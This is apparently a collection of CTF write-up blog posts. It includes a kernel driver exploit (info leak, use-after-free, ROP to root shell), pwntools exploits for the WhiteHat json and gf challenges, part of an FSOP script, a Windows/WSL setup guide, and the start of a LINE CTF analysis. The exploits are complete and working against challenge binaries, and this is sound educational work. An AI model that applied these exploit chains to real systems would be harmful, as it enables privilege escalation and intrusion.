    # leave a dangling pointer
    register_new_bot(s, b"BBBBBBBB", b"bbbbbbbb", b"1")
    deploy_task(s)
    abort_task(s)

    # manipulate bot structure
    payload = p64(buf)
    payload += p64(stdout)
    payload += p64(1)
    send_command(s, b"1", payload)

    # send FSOP payload via UAF
    stdout_lock = lib.sym.__nptl_last_event - 0x48
    payload = FSOP_struct(
        flags=u64(b"\x01\x01\x01\x01;sh\x00"),
        lock=stdout_lock,
        _wide_data=lib.sym['_IO_2_1_stdout_'] - 0x10,
        _markers=lib.symbols["system"],
        _unused2=p32(0x0) + p64(0x0) + p64(lib.sym['_IO_2_1_stdout_'] - 0x8),
        vtable=lib.symbols["_IO_wfile_jumps"] - 0x20,
        _mode=0xFFFFFFFF,
    )
    update_bot(s, b"0", b"CCCCCCCC", payload)

    s.interactive()
    print(shutdown(s))

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)

0x04. Reference

FSOP (glibc 2.35, 2.39)

Defenit CTF 2020 - Input Test Driver

2025-09-15T00:00:00+00:00

0x00. Introduction

qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./tmp/"$ROOTFS_NAME".cpio  \
-append 'root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr' \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
-cpu qemu64,smep \
-smp 1 \

KASLR and SMEP are enabled.

The source code and intended solution are available on the author’s github.

Concept

This mimics an input device driver that connects user input devices like keyboard and mouse to the kernel. For example, when a specific key is pressed on the keyboard hardware:

The driver identifies the key by scan code
Reports it by generating an event to the Linux Input Subsystem
Exposes it through device files like /dev/input/eventX

User space reads the /dev/input/eventX device file and translates it into actual actions.

0x01. Vulnerability

Info Leak

static int report_touch_press(char *start, int len) {
    int i;

    if(!len) {
        printk("len error");
        return -1;
    }

    for(i=0; i<=len; i++) {                             // 1-byte oob
        input_report_key(test_dev, BTN_TOUCH, 1);
        input_report_abs(test_dev, ABS_X, *(char *)(start+i));
        input_report_abs(test_dev, ABS_Y, *(char *)(start+i));
        input_sync(test_dev);
    }

    return 0;
}
...
static long input_test_driver_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {

    switch(cmd) {
        case 0x1337:
            printk("report_touch_press call");
            mutex_lock(&test_mutex);

            if(!_fp) {
                _fp = kzalloc(sizeof(struct fp_struct), GFP_ATOMIC);
                _fp->fp_report_ps = report_touch_press;
                _fp->fp_report_rl = report_touch_release;
                _fp->gift = printk;
                _fp->gift("_fp class allocate");
            }

            _fp->fp_report_ps(ptr, strlen(ptr));        // use strlen() to return length

            mutex_unlock(&test_mutex);

            break;
    ...
    }
    ...
}

input_test_driver_ioctl() is called internally in the kernel when user space calls ioctl() on this driver. Calling ioctl() with cmd set to 0x1337 initializes the structure if _fp doesn’t exist and calls fp_report_ps().

report_touch_press() and report_touch_release() detect touchscreen press and release events respectively. At this point, the second argument len receives strlen(ptr). Then the length until ptr encounters NULL is passed to len, so filling all \x00s enables leaking subsequent memory.

This alone seems sufficient, but there’s also a 1-byte OOB inside report_touch_press() due to checking range with for(i=0; i<=len; i++).

Use After Free

static ssize_t input_test_driver_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) {
    char *result;
    size_t len;

    mutex_lock(&test_mutex);

    if(ptr) {
        kfree(ptr);                                     // ptr still pointing slab chunk
    }

    if(count<256) {
        len = count;
        count = 256;
    } else if(count>0x40000) {
        len = 416;
    } else {
        len = count;
    }

    if(result = (char *)kmalloc(count, GFP_ATOMIC))     // fails if count is too big
        ptr = result;                                   // dangling pointer!

    if (copy_from_user(ptr, buf, len) != 0) {
        mutex_unlock(&test_mutex);
        return -EFAULT;
    }

    mutex_unlock(&test_mutex);

    return 0;
}

input_test_driver_write() is called internally when user space calls write() on this driver.

The problem is that when ptr is not NULL, it frees and reallocates the region ptr is pointing at, but doesn’t initialize ptr. Instead, it allocates a new slab object and assigns the address to ptr, creating another vulnerability.

When the kernel’s kmalloc() requests a too large slab object, the allocation fails and returns NULL. If result is NULL, ptr doesn’t get updated, leaving the freed ptr as a dangling pointer.

0x02. Exploit

Info Leak

Before proceeding with exploitation, reviewing the protections: SMEP requires kernel ROP, but KASLR requires obtaining the kernel base address.

static struct fp_struct {
    char dummy[392];
    asmlinkage int (*gift)(const char *, ...);
    int (*fp_report_ps)(char *, int);
    int (*fp_report_rl)(void);
};

Obviously, the variable name fp_struct->gift contains the address of the printk() function. Therefore, filling dummy completely exploits the info leak vulnerability using strlen() for length measurement, printing up to the address stored in gift.

static int input_test_driver_release(struct inode *inode, struct file *file) {
    printk("input_test_driver release");

    mutex_lock(&test_mutex);

    if(ptr) {
        kfree(ptr);
        ptr = 0;
    }

    if(_fp) {
        kfree(_fp);
        _fp = 0;
    }

    mutex_unlock(&test_mutex);

    return 0;
}

Looking at input_test_driver_release() which is called on closing the file descriptor opened for driver communication, it frees and initializes both ptr and _fp.

However, since data inside the slab object isn’t cleared, allocating a ptr of similar size to the freed _fp reuses the freed region.

    fd1 = open("/dev/input/event2", O_RDONLY);
    fd2 = open("/dev/input_test_driver", O_RDWR);
    
    write(fd2, "AAAAAAAA", 8);          // kernel panic if there is no ptr
    ioctl(fd2, 0x1337, NULL);
    close(fd2);

    fd2 = open("/dev/input_test_driver", O_RDWR);
    memset(payload, 0x42, 392);
    write(fd2, payload, 392);

    ioctl(fd2, 0x1337, NULL);

Allocating _fp through ioctl() and closing moves _fp to the kmalloc-512 cache since the slab object size is 416 bytes. Attempting to allocate a 392-byte slab object to avoid overwriting printk()’s address returns an object from the kmalloc-512 cache.

Filling 392 bytes with a non-zero value (0x42) makes strlen() measure length until encountering NULL, leaking printk()’s address.

/ $ ./exp
type: 1, code: 330, value: 0x1 
type: 3, code: 0, value: 0x41 
type: 3, code: 1, value: 0x41 
type: 0, code: 0, value: 0x0 
type: 3, code: 0, value: 0x0 
type: 3, code: 1, value: 0x0 
type: 0, code: 0, value: 0x0 
type: 3, code: 0, value: 0x42 
type: 3, code: 1, value: 0x42 
type: 0, code: 0, value: 0x0 
type: 3, code: 0, value: 0x20 
type: 3, code: 1, value: 0x20 
type: 0, code: 0, value: 0x0 
type: 3, code: 0, value: 0xb8 
type: 3, code: 1, value: 0xb8 
type: 0, code: 0, value: 0x0 
type: 3, code: 0, value: 0xae 
type: 3, code: 1, value: 0xae 
type: 0, code: 0, value: 0x0 
type: 3, code: 0, value: 0xb3 
type: 3, code: 1, value: 0xb3 
leak : 0xffffffffb3aeb820

Use After Free

After triggering the UAF vulnerability, ptr becomes a dangling pointer to a freed slab object. If this slab object is in the kmalloc-512 cache, allocating _fp through ioctl() returns that object.

static ssize_t input_test_driver_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos) {
    ...
    if(count<256) {
        len = count;
        count = 256;
    } else if(count>0x40000) {
        len = 416;
    } else {
        len = count;
    }

    if(result = (char *)kmalloc(count, GFP_ATOMIC))
        ptr = result;

    if (copy_from_user(ptr, buf, len) != 0) {
        mutex_unlock(&test_mutex);
        return -EFAULT;
    }
    ...
}

This makes ptr and _fp point to the same slab object. Even if kmalloc() fails due to large size, copy_from_user() is still executed, allowing us to overwrite _fp’s function pointers.

    fd2 = open("/dev/input_test_driver", O_RDWR);
    memset(payload, 0x43, 392);
    write(fd2, payload, 416);
    write(fd2, payload, 0x500000);

    ioctl(fd2, 0x1337, NULL);

    *(uint64_t *)(payload + 408) = xchg_64;
    write(fd2, payload, 0x510000);

    ioctl(fd2, 0x7331, NULL);

The exploitation flow:

Allocate 416-byte slab object through write()
Call write() again to:
- Free existing slab object, moving to kmalloc-512
- Intentionally request large object size to fail update
Allocate _fp through ioctl(), receiving slab object from kmalloc-512
Final write() call overwrites function pointer while writing 416 bytes to ptr (i.e., _fp)

Since we can only control RIP by changing function pointers, we can deliver a ROP payload using an xchg eax, esp gadget and fake stack.

0x03. Payload

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/mman.h>
#include <linux/input.h>

void shell() {
    execl("/bin/sh", "sh", NULL);
}

struct register_val {
    uint64_t user_rip;
    uint64_t user_cs;
    uint64_t user_rflags;
    uint64_t user_rsp;
    uint64_t user_ss;
} __attribute__((packed));

struct register_val rv;

void backup_rv(void) {
    asm("mov rv+8, cs;"
        "pushf; pop rv+16;"
        "mov rv+24, rsp;"
        "mov rv+32, ss;"
       );
    rv.user_rip = &shell;
}

void set_fake_stack(void *xchg_64) {
    uint32_t xchg_32;
    int i = 0;

    size_t pop_rdi_ret = xchg_64 + 0x6170f;
    size_t prepare_kernel_cred = xchg_64 + 0x8fe8f;
    size_t pop_rcx_ret = xchg_64 + 0x285312;
    size_t mov_rdi_rax_rep_pop_rbp_ret = xchg_64 + 0xf2ee;
    size_t commit_creds = xchg_64 + 0x8fadf;
    size_t swapgs_pop_rbp_ret = xchg_64 + 0x4c103;
    size_t iretq = xchg_64 + 0x2bc4f;
    
    xchg_32 = (uint32_t)xchg_64;
    mmap((void *)(xchg_32), 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);

    backup_rv();

    ((uint64_t *)xchg_32)[i++] = pop_rdi_ret;
    ((uint64_t *)xchg_32)[i++] = 0;
    ((uint64_t *)xchg_32)[i++] = prepare_kernel_cred;
    ((uint64_t *)xchg_32)[i++] = pop_rcx_ret;
    ((uint64_t *)xchg_32)[i++] = 0;
    ((uint64_t *)xchg_32)[i++] = mov_rdi_rax_rep_pop_rbp_ret;
    ((uint64_t *)xchg_32)[i++] = 0; // for pop rbp
    ((uint64_t *)xchg_32)[i++] = commit_creds;
    ((uint64_t *)xchg_32)[i++] = swapgs_pop_rbp_ret;
    ((uint64_t *)xchg_32)[i++] = 0; // for pop rbp
    ((uint64_t *)xchg_32)[i++] = iretq;
    ((uint64_t *)xchg_32)[i++] = rv.user_rip;
    ((uint64_t *)xchg_32)[i++] = rv.user_cs;
    ((uint64_t *)xchg_32)[i++] = rv.user_rflags;
    ((uint64_t *)xchg_32)[i++] = rv.user_rsp;
    ((uint64_t *)xchg_32)[i++] = rv.user_ss;
}

int main() {
    struct input_event ie;
    int fd1, fd2, ret;
    char payload[416];
    size_t leak = 0xffffffff00000000;
    int i = 0, flag = 0;
    size_t xchg_64;
    
    fd1 = open("/dev/input/event2", O_RDONLY);
    fd2 = open("/dev/input_test_driver", O_RDWR);
    
    // step 1 : leak kernel base address
    write(fd2, "AAAAAAAA", 8);
    ioctl(fd2, 0x1337, NULL);
    close(fd2);

    fd2 = open("/dev/input_test_driver", O_RDWR);
    memset(payload, 0x42, 392);
    write(fd2, payload, 392);

    ioctl(fd2, 0x1337, NULL);
    
    while(1) {
        read(fd1, &ie, sizeof(struct input_event));
        printf("type: %d, code: %d, value: 0x%x \n", ie.type, ie.code, (unsigned char)ie.value);
        if(ie.code == 1 && ie.value == 0x20 || ie.code == 1 && flag) {
            leak = leak | (unsigned char)(ie.value) << (flag * 8);
            flag++;
            if(flag == 4)
                break;
        }
    }
    // step 2 : calculate the address of xchg_64
    printf("leak : 0x%lx\n", leak);
    xchg_64 = leak - 0xcdd5f;
    printf("xchg_64 : 0x%lx\n", xchg_64);

    close(fd1);
    close(fd2);

    // step 3 : set fake stack
    set_fake_stack(xchg_64);

    // step 4 : overwrite function pointer
    fd2 = open("/dev/input_test_driver", O_RDWR);
    memset(payload, 0x43, 392);
    write(fd2, payload, 416);
    write(fd2, payload, 0x500000);

    ioctl(fd2, 0x1337, NULL);

    *(uint64_t *)(payload + 408) = xchg_64;
    write(fd2, payload, 0x510000);

    ioctl(fd2, 0x7331, NULL);

    close(fd2);
    return 0;
}

Setting up Windows for pwnable

2025-01-15T00:00:00+00:00

0x00. Introduction

After purchasing a new desktop and frequently reconfiguring the environment due to driver issues, I thought it would be nice to document the setup process for reference. The installation environment is Windows 11 + Ubuntu(WSL).

I’ll add more useful settings or tools as I discover them.

0x01. Windows

WSL

In Turn Windows Features On or Off, check the following items.

After restarting, execute these commands in the terminal.

# Install WSL
wsl --install

# Check available packages and versions
wsl --list --online

# Specific version
wsl --install -d Ubuntu-[xx.xx]
# Latest version
wsl --install -d Ubuntu

Visual Studio Code

Theme Settings

After installing the desired theme, press ctrl + shift + p -> Preferences: Color Theme -> Browse Additional Color Themes... to select it.

Keyboard Shortcuts

Press ctrl + shift + p -> Preferences: Open Keyboard Shortcuts(JSON) and paste the following. This is good when switching between editor and terminal.

[
    {
        "key":     "ctrl+`",
        "command": "workbench.action.terminal.focus"
    },
    {
        "key":     "ctrl+`",
        "command": "workbench.action.focusActiveEditorGroup",
        "when":    "terminalFocus"
    }    
]

This is more convenient when switching between multiple windows.

[
    {
        "key": "ctrl+`",
        "command": "workbench.action.focusNextGroup"
    }
]

VMware

You need to register on the Broadcom official website. I had trouble because the verification email didn’t arrive when I thoughtlessly used my university email, so just use gmail.com to be safe.

After logging in, select Software -> VMware Cloud Foundation -> My Downloads
Find VMware Workstation Pro and select the desired release
Note that you must check I agree to the Terms and Conditions to enable the download button

Fill in the address field that appears and click the download button again to complete the installation.

IDA Free

While it only supports x86/x86-64 architectures, IDA is now available for free. On the hex-rays official website, select Products -> IDA Free and receive a license through email verification.

It seems fine now, but I once had an experience where it was too slow, and using a VPN to Belgium (where their headquarters is) made it much faster.

shell:sendto

Typing shell:sendto in the win + r run window lets you register programs that appear in the send to menu when right-clicking files.

For example, create an IDA shortcut and place it in that folder. Then right-click a binary and select IDA from send to to analyze it directly. It’s a bit inconvenient in Windows 11 since you need to press Show more options to see it, but it’s quite useful.

You can apparently edit the registry to revert to the Windows 10 menu, but I skipped it to keep the new computer feeling.

0x02. Linux

Packages

# initialize
sudo apt update
sudo apt upgrade -y

# oh my zsh
sudo apt install zsh git -y
sh -c "$(wget https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh -O -)"

# zsh plugins
git clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions
git clone https://github.com/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting
sed -i 's/^plugins=(git)$/plugins=(git zsh-autosuggestions zsh-syntax-highlighting)/' ~/.zshrc
source .zshrc

# python packages
sudo apt install python3-pwntools -y

# one gadget
sudo apt install ruby -y
sudo gem install one_gadget

# gef
bash -c "$(wget https://gef.blah.cat/sh -O -)"

jekyll

# Install dependencies
sudo apt install ruby-full build-essential zlib1g-dev -y

# Change the file according to your shell
echo '# Install Ruby Gems to ~/.gems' >> ~/.zshrc
echo 'export GEM_HOME="$HOME/.gems"' >> ~/.zshrc
echo 'export PATH="$HOME/.gems/bin:$PATH"' >> ~/.zshrc
source ~/.zshrc

# Install jekyll
gem install jekyll bundler

# Execute in jekyll directory such as github.io repository
cd fitbl4nk.github.io
bundle install

zola

# Download the latest version of zola (https://github.com/getzola/zola/releases)
wget https://github.com/getzola/zola/releases/download/v0.20.0/zola-v0.20.0-x86_64-unknown-linux-gnu.tar.gz
rm zola-v0.20.0-x86_64-unknown-linux-gnu.tar.gz
sudo mv zola /usr/local/bin

# Execute in zola directory such as github.io repository
cd bl4nk.kr
zola serve

WhiteHat Contest 2024 - json

2024-11-23T00:00:00+00:00

0x00. Introduction

[*] '/home/user/json'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)

Concept

Looking at the init() function, each execution creates a USER_FILE named /users/[random string] to use it as a DB file. Initially, it reads and saves the user_base.bin file as-is with the following content.

[2|guest|guest|guest memo]
- 2 : type
- 1st guest : user
- 2nd guest : pass
- guest memo : memo

Based on this DB file, when user and pass match, it issues a token to create a session and stores that information in the session global variable.

Structure

struct sess // sizeof=0x40
{
    char user[16];
    char pass[16];
    char *memo;
    __int64 type;
    char token[16];
};

Information about issued sessions is stored in this structure format.

Goal

int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
    ...
        else if ( !strcmp((const char *)s, "UpdateMemo") && LOBYTE(session->type) == '1' )
        {
          update_memo();
        }
    ...
}

char *update_memo()
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  read(0, buf, 0x100uLL);
  return strncpy((char *)session->memo, buf, 0x100uLL);
}

When type is 1, we can call update_memo(), which has a BOF vulnerability.

0x01. Vulnerability

void __fastcall create_user(__int64 json)
{
  ...
  stream = fopen(USER_FILE, "ab");
  ...
  extract(json, "user", user, 16);
  extract(json, "pass", pass, 16);
  extract(json, "memo", memo, 256);
  if ( *(_BYTE *)user && *(_BYTE *)pass && *(_BYTE *)memo )
  {
    fwrite("[", 1uLL, 1uLL, stream);
    fwrite("2", 1uLL, 1uLL, stream);
    fwrite("|", 1uLL, 1uLL, stream);
    fwrite(user, 1uLL, 0x10uLL, stream);
    fwrite("|", 1uLL, 1uLL, stream);
    fwrite(pass, 1uLL, 0x10uLL, stream);
    fwrite("|", 1uLL, 1uLL, stream);
    fwrite(memo, 1uLL, 0x100uLL, stream);
    fwrite("]\n", 1uLL, 2uLL, stream);
  }
  ...
}

create_user() allows adding users to USER_FILE, but type is hardcoded to 2.

However, there’s no validation for memo, making injection possible.

memo : AAAA]\n[1|admin|admin|admin memo

[2|guest|guest|guest memo]
[2|AAAA|AAAA|AAAA]
[1|admin|admin|admin memo]

Calling create_session() with admin/admin then creates a session with type '1'.

0x02. Exploit

I thought I just needed to perform ROP, but unfortunately there were no gadgets to set arguments.

➜  ROPgadget --binary=json | grep rdi
0x0000000000401406 : or dword ptr [rdi + 0x405108], edi ; jmp rax
0x0000000000401c76 : ror byte ptr [rdi], 0x85 ; retf

Initially, I tried using registers at the end of strncpy in update_memo(), but they pointed to the end of session->memo, making it impossible to insert arguments like /bin/sh.

Thinking that there must be a reason for the existance of system PLT, I examined update_memo() in assembly.

.text:0000000000402140  endbr64
.text:0000000000402144  push    rbp
.text:0000000000402145  mov     rbp, rsp
.text:0000000000402148  sub     rsp, 10h
.text:000000000040214C  lea     rax, [rbp+buf]
.text:0000000000402150  mov     edx, 100h       ; nbytes
.text:0000000000402155  mov     rsi, rax        ; buf
.text:0000000000402158  mov     edi, 0          ; fd
.text:000000000040215D  call    _read
.text:0000000000402162  mov     rax, cs:session
.text:0000000000402169  mov     rax, [rax+20h]
.text:000000000040216D  lea     rcx, [rbp+buf]
.text:0000000000402171  mov     edx, 100h       ; n
.text:0000000000402176  mov     rsi, rcx        ; src
.text:0000000000402179  mov     rdi, rax        ; dest
.text:000000000040217C  call    _strncpy
.text:0000000000402181  nop
.text:0000000000402182  leave
.text:0000000000402183  retn

The rsi argument for read is set through rbp, and since we can control rbp through BOF, AAW is also possible.

This made me think of GOT overwrite. Since strncpy’s rdi is set to session->memo, I determined we could execute a shell by placing /bin/sh there in advance.

    read_strncpy_gadget = 0x40214C
    payload = b"/bin/sh\n" * 2
    payload += p64(elf.got['strncpy'] + 0x10)   # rbp
    payload += p64(read_strncpy_gadget)         # ret
    update_memo(s, token, payload)

    sleep(0.5)
    payload = p64(0x4010a0)                     # system
    s.send(payload)

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "json"
LIBRARY = "libc.so.6"
CONTAINER = "f0268ff749ca"

code_base = 0x555555554000
bp = {
    'main' : code_base + 0x16ae,
}

gs = f'''
b *update_memo
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def create_session(s, user, pw):
    json = f"{{method:CreateSession,user:{user},pass:{pw}}}"
    s.send(json.encode())
    return s.recvuntil(b"}\n")

def clear_session(s):
    json = f"{{method:ClearSession}}"
    s.send(json.encode())
    return

def create_user(s, token, user, pw, memo):
    json = f"{{token:{token},method:CreateUser,user:{user},pass:{pw},memo:{memo}}}"
    s.send(json.encode())
    return

def check_user(s, token):
    json = f"{{token:{token},method:CheckUser}}"
    s.send(json.encode())
    return s.recvuntil(b"}\n")

def update_memo(s, token, payload):
    json = f"{{token:{token},method:UpdateMemo}}"
    s.send(json.encode())
    pause()
    s.send(payload)
    return

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    token = create_session(s, "guest", "guest").split(b"token:")[1].split(b"}")[0].decode()
    log.info(f"guest token : {token}")

    create_user(s, token, "AAAA", "AAAA", "AAAA]\n[1|admin|admin|admin memo")

    clear_session(s)
    sleep(0.5)

    token = create_session(s, "admin", "admin").split(b"token:")[1].split(b"}")[0].decode()
    log.info(f"admin token : {token}")

    read_strncpy_gadget = 0x40214C
    payload = b"/bin/sh\n" * 2
    payload += p64(elf.got['strncpy'] + 0x10)   # rbp
    payload += p64(read_strncpy_gadget)         # ret
    update_memo(s, token, payload)

    sleep(0.5)
    payload = p64(0x4010a0)                     # system
    s.send(payload)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)

WhiteHat Contest 2024 Quals - gf

2024-11-19T00:00:00+00:00

0x00. Introduction

[*] '/home/user/gf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

A challenge where I got stuck combining gadgets here and there. I figured out the solution 20 minutes before the end…

0x01. Vulnerability

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char dest[16]; // [rsp+10h] [rbp-10h] BYREF

  setbuf_4011A5();
  read(0, &unk_404060, 0xBCuLL);
  memcpy(dest, &unk_404060, 0xBBuLL);
  return 1LL;
}

A simple BOF vulnerability occurs where 0xbc bytes are read into the 16-byte dest.

0x02. Exploit

There’s not a single gadget for ROP, let alone an output function. Then I got a hint from looking at memory.

gef➤  x/4gx $rsp + 0xb0
0x7fffffffed00: 0x0000000000000000      0x0000000000000000
0x7fffffffed10: 0x0000000000000000      0x00007ffff7000000

Looking around dest + 0xb8, the end of read(), there’s a suspicious libc address. The lower 3 bytes are 0x00, and we can write exactly up to this point.

gef➤  x/4gx $rsp + 0xb0
0x7fffffffed00: 0x4141414141414141      0x4141414141414141
0x7fffffffed10: 0x4141414141414141      0x00007ffff7434241

So without a libc leak, we can use this part to craft an expected one-shot gadget address and hope that ASLR loads the actual one-shot gadget at that address.

The register values when returning from main() are as follows.

$rax   : 0x1
$rbx   : 0x0
$rcx   : 0x0000000000404060  →  "AAAAAAAAAAAAAAAA\n"
$rdx   : 0xbb
$rsp   : 0x00007fffffffec98  →  0x0000000000000000
$rbp   : 0xa
$rsi   : 0x0000000000404060  →  "AAAAAAAAAAAAAAAA\n"
$rdi   : 0x00007fffffffec80  →  "AAAAAAAAAAAAAAAA\n"
$rip   : 0x0000000000401281  →   ret
$r8    : 0x00007ffff7fabf10  →  0x0000000000000004
$r9    : 0x00007ffff7fc9040  →  0xe5894855fa1e0ff3
$r10   : 0x00007ffff7fc3908  →  0x000d00120000000e
$r11   : 0x246
$r12   : 0x00007fffffffeda8  →  0x00007fffffffef5c  →  0x3d48544150006667 ("gf"?)
$r13   : 0x000000000040122a  →   endbr64
$r14   : 0x0000000000403dc0  →  0x0000000000401160  →   endbr64
$r15   : 0x00007ffff7ffd040  →  0x00007ffff7ffe2e0  →  0x0000000000000000

At this point, we need to satisfy the one-shot gadget conditions. After staring at gadgets for hours, the method immediately came to mind.

➜  one_gadget libc.so.6
...
0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL || rsi is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
...

Among the one-shot gadgets, there was one with constraints on rsi and rdx like above, and the binary has gadgets like these.

➜  objdump -M intel -d gf
...
# shift_rsi_ret gadget
  40112c:       48 89 f0                mov    rax,rsi
  40112f:       48 c1 ee 3f             shr    rsi,0x3f
  401133:       48 c1 f8 03             sar    rax,0x3
  401137:       48 01 c6                add    rsi,rax
  40113a:       48 d1 fe                sar    rsi,1
  40113d:       74 11                   je     401150 <setvbuf@plt+0xb0>
  40113f:       b8 00 00 00 00          mov    eax,0x0
  401144:       48 85 c0                test   rax,rax
  401147:       74 07                   je     401150 <setvbuf@plt+0xb0>
  401149:       bf 10 40 40 00          mov    edi,0x404010
  40114e:       ff e0                   jmp    rax
  401150:       c3                      ret
...
# pop_rsi_pop_rdx_push_rsi_ret gadget
  40119e:       5e                      pop    rsi
  40119f:       5a                      pop    rdx
  4011a0:       56                      push   rsi
  4011a1:       c3                      ret

First, rdx can be controlled through the pop_rsi_pop_rdx_push_rsi_ret gadget, and for some reason, the shift_rsi_ret gadget can right shift rsi by 0.5 bytes. Since rsi is holding 0x404060, calling the shift_rsi_ret gadget 6 times makes rsi 0.

Additionally, there’s a constraint that rbp-0x78 must be writable, so I set it to roughly 0x404800, the middle of the Data section.

Calculating the success rate, 0x7ffff7XXXc88 should be the actual one-shot gadget address, so it’s 1.5 bytes, meaning a 1/4096 probability of successful exploitation.

However, after the preliminaries ended, I saw someone else’s exploit with a method that could succeed 100%. Since this was new to me and seems generally applicable, I’ll make a separate post about it.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "gf"
LIBRARY = "libc.so.6"
CONTAINER = "5189692c7e21"
bp = {
    'main_ret' : 0x401281,
}

gs = f'''
b *{bp["main_ret"]}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        # s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    shift_rsi_ret = 0x40112c
    pop_rsi_pop_rdx_push_rsi_ret = 0x40119e

    payload = b"A" * 0x10
    payload += p64(0x404800)
    payload += p64(pop_rsi_pop_rdx_push_rsi_ret)
    payload += p64(shift_rsi_ret)
    payload += p64(0)
    payload += p64(shift_rsi_ret) * 5
    payload += p64(bp['main_ret']) * ((0xb8 - len(payload)) // 8)
    payload += b"\x88\xac\x4b"      # 0x754c18 4b ac 88

    while 1:
        s = remote(server, port)
        s.sendline(payload)
        try:
            sleep(0.2)
            s.sendline(b"id")
            r = s.recvline(timeout=1)
            if b"(pwn)" in r:
                log.success(f"id : {r}")
                s.interactive()
                s.close()
            else:
                log.info(r)
        except Exception as e:
            log.failure(e)
            s.close()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)

LINE CTF 2024 - hacklolo

2024-10-18T00:00:00+00:00

0x00. Introduction

[*] '/home/user/hacklolo'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

A binary made in C++ that was quite challenging to analyze.

Structure

struct user_db // sizeof=0xD68
{
    struct user user_list[32];
    user *user_list_ptr;
    _QWORD count;
    _QWORD login_try;
    _QWORD is_login;
    char *welcome_ptr;
    _QWORD welcome_size;
    char welcome[8];
    _QWORD canary;
    user *current_user;
    _QWORD login_success;
    char *jwt_key;
    _QWORD jwt_key_size;
    _QWORD jwt_key_end;
};
struct user // sizeof=0x68
{
    char *pw_ptr;
    _QWORD pw_size;
    char pw[8];         // or could be nothing
    _QWORD end_pw;
    char *id_ptr;
    _QWORD id_size;
    char id[8];         // or could be nothing
    _QWORD end_id;
    char *email_ptr;
    _QWORD email_size;
    char email[8];      // or could be nothing
    _QWORD end_email;
    _QWORD age;
};

Perhaps due to the properties of basic_string objects in C++, strings aren’t stored simply. Taking id as an example:

id_ptr : address where the string is stored
id_size : length of the string
id[8] : strings up to length 8 are stored here; longer strings are allocated elsewhere
id_end : unused area, presumably chunk-related data

0x01. Vulnerability

Improper Check

__int64 __fastcall login_790E(user_db *user_db)
{
  ...
  for ( i = 0; i <= 32; ++i )
  {
    a2_20_23596(id, &user_db->user_list[i]);
    id_same = strncmp_1043E(id, id_input);
    std::string::~string(id);
    if ( id_same )
    {
      a2_0_235C8(pw, &user_db->user_list[i]);
      pw_same = strncmp_1043E(pw, pw_input);
      std::string::~string(pw);
      if ( pw_same )
      {
        user_db->current_user = &user_db->user_list[i];
        a2_20_23596(v15, &user_db->user_list[i]);
        sub_F7F3(id, "[*] Login Success. Hello, ", v15);
        ...
      }
    }
  }
  ...
}

While used_db has space to store 32 user entries, login_790E() checks a range of 33 entries. As a result, the area after user_list[32] is recognized as another user, causing overlapping regions.

after `user_list`	`user`
user *user_list_ptr	char *pw_ptr
_QWORD count	_QWORD pw_size
_QWORD login_try	char pw[8]
_QWORD is_login	_QWORD end_pw
char *welcome_ptr	char *id_ptr
